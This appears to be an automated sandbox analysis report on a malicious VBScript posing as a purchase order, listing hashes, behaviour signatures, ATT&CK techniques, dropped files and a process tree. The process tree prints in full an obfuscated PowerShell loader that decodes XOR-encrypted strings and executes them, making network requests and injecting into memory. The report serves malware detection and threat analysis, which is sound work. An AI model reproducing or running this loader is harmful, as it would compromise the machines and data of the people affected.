33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2

Analysis

max time kernel
298s
max time network
198s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 06:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Orden de Compra - PO00009769.vbs
Size 25KB
Sample260823-hbvllstenb
SHA256 33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2
MD5 10cdd9b160b459ce49cf7dfc8c7b1b62
SHA1 84c4b47514661df74a23918ca49f5d24b89c019d
SHA512 7026d029962e25ee4d1fe4f8f1a8314a37a9c31ef33cecba99f5079ce5256bc6a0291b25f9ee9e89b73dcdd7122e135d246b73229ed1fa7f8d92244b5cbd42ec
SSDEEP 384:KeUvjn35YjU+1HwUObc4EHk8pLyUnj48KzvxLpKazX2qzz1kNons0ooUI+8XDOIH:KnO2JYrk8ZtjjUpLgXky2z
TLSH
T165B22F168C068BFC1D27ED75A56BE42599F0036768387839F98BD3C93B355D38BD00A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4896	powershell.exe
10	4896	powershell.exe
12	4896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4896	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1048	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4896	powershell.exe
4896	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4896	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 4896	1048	WScript.exe	89
PID 4896 wrote to memory of 2812	4896	powershell.exe	91
PID 2812 wrote to memory of 3372	2812	csc.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de Compra - PO00009769.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=85-11;$z1e94F='fA95Dp0vs';$ou8VbFwno='aa9efdfc9ab3f5b2f99388bbbb9df3e1f8b2f1deaaa4b589e3afada986bdcb8ba2eef29ca288fcfb87b4fd81e3f6bec7d9d6f4ddb9ad9f9fe1f680bdb287bbb59ff6c4b387b2878ab598e7fa83f4d9b3b7ba8ee1ebb3e0a09aaba386d1fe9dbface88ab899faf189f2beaff0b0cee8bbb1f7f8a4b6becff8e2c7f3e7d1d3c1e1c0eb8fa8eef18aa08ef6efcef7c9b9baa385f7eccee997d682828ee7b1bdbfe8aab0af8ec3f087b4ee91b8a28af4fa9c87a0e68aa988e6ed87aee38caba39ffcfc81b6bae1f997a5f6ebc089ffbfacbe82e7e6bea8f5a8b6af84ffcb97aaff81e3f6bfffecdfe897d6fdadd8a3a2c685f9fcfe94d9ddaebdebf68b8e8a93e6dca8bed884eab49fc7acbc99ff8da995a8c5fba183cf96ecaedaa6f58a8beeb4bb8d9fdcfd8280ee8ab5a0d3f1c9a8bcfc9abd82bcc5d9a782dcb4a3aebdd9c5889cfe8ebaa293a2cca990f0b88c8a92f5c7828fc3b1ae83a8a2f4a499f492b095d9ffc7b6bdf2e99aa1a1c4cedeaef38db7a0a9cbac96e3d9eda9bf8fffe79f83a98a9b95bce4d4bbb6f6a68c8a93e5f9af90ce8581f9d2c2c98990f889e0a5bdf8d2a1b9d2a4a18887aaa78c8cf6b6b88487c5fca994cab98faba2f7c98a80f8949f85b3fef7db8cdda8acaabed5c6ad8dab8c80a0b1d7db80becb84e8a88df5f2de8ac38ba1fda8ffa6d68caae9b18fd8a2ddb99bf6a88dfea1c4ce99efedb99f8da6f0f19682ccb29bf4b3d5e797b8edac9694d9ebdbbd92d8b68dbba1eafcdd9cc284ea829fc2f38289ff84b59588a0f3c58dcbb79299dae3ecaaeaafad9a8bdad0c8a880ee88b5f5c0f2cadf80f894e880bcc5d6a1bef6b793aabdd1e8889cf290bd8d8cd8de89e7a7fbf0c1e1d2fb8af7cea5a9a9cbbecb97aaff98bcaa82fdf69ab3f5b2f9e4b0c7fa96aeb499b7af84f7f680bdc7e6e399bfd5a7c09dffa88ab899faf189f2c19fb6a29df6ed9a87a0e69fbe84fedd8fa9ffeaed9f9fe1f680bdb2f8b8ffdbbab6c7d790baaca288e7f681b4bab8f1e88aa0aec7a1bebdeafed6ddfa99f7d5beb3a988e7bfa0bfeef28ea989d0f387bff4a8e2e4acf6ebc388fbb2bda386b3bb8fe9abfcf48f84e6f19afabebdeafdc5d0f09bb4eef5a5e990e7ed97a1e8b9adb999fdbfcabba9eef78884e4f182b5fbb89dad9ff2b7ca85b3a1baad9ff0f795a7e7a1d4c68de6f18daef3b3b7ec82bbbb8fe9b6f8b8f8c7b7fedbf6bebdeff1abbbb6c7a1bebdeef1b0c3f78fb4eeb3b48b8ae7fab3e0a090b6ad8fd2ec9dbff7beb5b5c3b7feddf3a1f8b8f4d6b7fed9f4ddb9ad9892e3fa9df2b3a0e6b7cfcc';$mpNNFqmk='HVIZDH1rBE5DEzkJETEBBBdbCDANWSwBBBsIdHEYLXRRDUxCGzANVT0NPnFDVXgJA2VMCk0IcX0CBHhLAmVKUnMfPTl6BgMBUiRZOkcUL3pgAEI5NkZRKnRwV0c7InVKMRJWY0EAB0lGCXVvZyUcNkZjUR4BGj1FWzVHVR5PVTxNRHAcS2pVYGANFHhGTFh9cncYCWdEEUxUbi5WI2NABFdDenofFHBLBkYOF3VUSWweQUIfHV0CFn5OAAsCUSRARHATTF4rORlmRHMUWGMOGzwzAzECMBMfYzNFQDoFTXxFEzM/F1RwI2VeYEBdLl5yN3V/ZVI1NXVgCWxzdSE7OHpOMHZKaXU0JiVwNnUTa0wAEFh9DkRzayU+LUdzAXZxXyw5A31/BHtgB0EvIkd3NhJRDjNFST0NTXxFEzM5UCh1NlRjZlItWF5jNEhsd3w5K1JkUXVlVCQgJlccMHdgZUw6JmFDNmF3elI6Jl19JB4bFD1FTDkNOkAGFEFcWUF2EmZzdVUDLFVnMGhiciw6I0ARLmV3XF8vMkN2M09RZlcuNkN2VFQbFD1FSRwvDEUOGzAOUixBRQdEAj1BAX9BTQdHByk3NHRdEQ1jXXcDBHhLAn4cCUE4JikLIkZSYGAeCX9CTQdEAT1FTXxEEUBOG0sPQDZnEkdJUScDXTYMRQgGG0sPQDZEMhtgcUYhNlR0NHBkRHBHBEAYWAQPEz9MSE5GRQRAREEqRzgMHi4sEzRIAiIFWAMObHdMR0AWCVBlci04MSJ8MHdgQ14qJSRsI3V0ekMHKURjJGVva1EEBERjHUdzAiUlOERNAwQPEy9MRHMWRR4GF3ZfTkJQB1BSQX0CBzkVSQMCUSdCLHRLAldOEzlMUSMMaCkCUiddQCwFTXxFEzMvFywYQgoGCBlmRHMRWAt5UDRLNnpvKXBwYXc/NmFyI3toZjNFQDoFTXxFEzM6DCRANmIbDjNFWxwvRQMGE31MSEpmCk1QVmYYPSsfI1FJXlYNE3QTUXBSQX0CBzkBKEJSUHwJE0oUOAoPEzAOVDENOkAGFEc5VUd2IEQbFD1MIDkBBxAKEzANUyAJRQQBHzREP3IFQkJwBncJC3lyQgoKEzwzAzECJlQbDjNFQD0FTXxFEzM9F1xrQgoPPh5MQDEFIkZSHkQeD3JAFlBaQHseFDFmNXYGHnAJE3JZFkZKVncYQDxDDFFVRzRZHHdRRW1HXnFAI0FwRV4rORlmQDEFRQMGEzRMQA==';$dp0DFRXg=0x80EC-0x39E9;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0xAA)};$r1Y3GfVj=$cUXA3FJ;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0x55)};$uXRGWv=$cUXA3FJ;$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$ou8VbFwno.Length;$j+=2){$cUXA3FJoldR+=[char](([Convert]::ToInt32($ou8VbFwno.Substring($j,2),16))-bxor$r1Y3GfVj[$i++%$r1Y3GfVj.Length])};$aCclkMoYZ=$cUXA3FJoldR;$cUXA3FJoldB=[Convert]::FromBase64String([regex]::Replace($mpNNFqmk, '$cUXA3FJ', ''));$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$cUXA3FJoldB.Length;$j++){$cUXA3FJoldR+=[char]($cUXA3FJoldB[$j]-bxor$uXRGWv[$i++%$uXRGWv.Length])};$lx8aWkaJz=$cUXA3FJoldR;$bMRoUrgOv=$aCclkMoYZ+$lx8aWkaJz;.($env:ComSpec[4,26,25]-join'') $bMRoUrgOv
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x5pw23b1\x5pw23b1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4135.tmp" "c:\Users\Admin\AppData\Local\Temp\x5pw23b1\CSC80E9DC686B24F6D83A07921A95012F8.TMP"
      4⤵
      PID:3372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES4135.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4135.tmp
Size 1KB
SHA256 d171fe4dbc697bbeea287b02f40eb7015eca0f75790eaad5eafc57387ef10c90
MD5 6ca28eef41c9d39effabcc9d6d4ffee1
SHA1 df22254033f50628da8f219f1fa504f8787334f4
SHA512 79a64508fc11d00f42690e6a62a407ba957bd8d549935fbc2e44bffb9063b6e7457491f9b92febad8afaac55146b8252c539b758b5f662a39f06a9d2e77856cc
TLSH
T1DE21CC0593EC471EF0B35731A9FA172F9234FDA9EFA1639B854442281C41144EFA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

x5pw23b1.dll

Path C:\Users\Admin\AppData\Local\Temp\x5pw23b1\x5pw23b1.dll
Size 3KB
SHA256 9aced67dffdf5864d48c7b947d6fbabe2d0b1d0ac65fae5f47126af79e2a50e6
MD5 495f0300cbf7fbe20484245804f3d501
SHA1 076d7c434cb4bff89aa180b3d13b9b42d161a574
SHA512 d3f71f4e600048c632cfcc45d7f31766410008b36c15cb5bf65fcc83bd3564b79026bc3ef6dc8333d9aa395f3e4c1b278ed6deb820f87a9b6bfb8bf69c22cfca
TLSH
T14651FF0A67E8462BE4A707317EF743572374F921AB62675E4980023CAC213606F32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC80E9DC686B24F6D83A07921A95012F8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\x5pw23b1\CSC80E9DC686B24F6D83A07921A95012F8.TMP
Size 652B
SHA256 bb4467d46fea3ee1a937612452a366c4722c06b2564167cfdee672440a39bda6
MD5 59f7472e29bd8ac17d53004645d83293
SHA1 c47511ea4671c4a1889b7ddfcc4396bb1de709ac
SHA512 89036627a6cc90d138123908d3aa2b27292c8dd6962f839d3bc3ad4817d1d51ef94255bd91fc22ccd4665824d3ff226cb66e7d7ad8e4a87cc0e61292c4b11de2
TLSH
T16EF0540963F8020EF0F35B30BDF543A79168BC65DE3263ED149003195C645109661F75
MD5 SHA1 SHA512 TLSH

Submit Download

x5pw23b1.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\x5pw23b1\x5pw23b1.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

x5pw23b1.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\x5pw23b1\x5pw23b1.cmdline
Size 369B
SHA256 a286a00072a306e2c52073d0f0ac4e863bb2a70d9b5ed5f396b622dc49624438
MD5 dfde28eec010dd211e93eade5d706bb5
SHA1 a91c972d735dcdba2563ef56dee2d2210fe8ff10
SHA512 2762b4498a9e7eeab95de09c526cb446029cb40bd1282423d65f2853cde94bd34ba58a46108018e1cf73792a6c399594a89b4a9f5412cf0e2dbcc8d1570f44a3
TLSH
T17AE0C02A6356C27D22DD102B2379D4ACC272874329843FAC9288490DD03B00077F1B49
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4896-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-6-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-9-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-11-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-12-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-0-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp

Download

memory/4896-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-5-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-25-0x00000281800F0000-0x00000281800F8000-memory.dmp

Download

memory/4896-4-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-3-0x00000281FE3C0000-0x00000281FE3E2000-memory.dmp

Download

memory/4896-26-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-27-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download

memory/4896-30-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

Download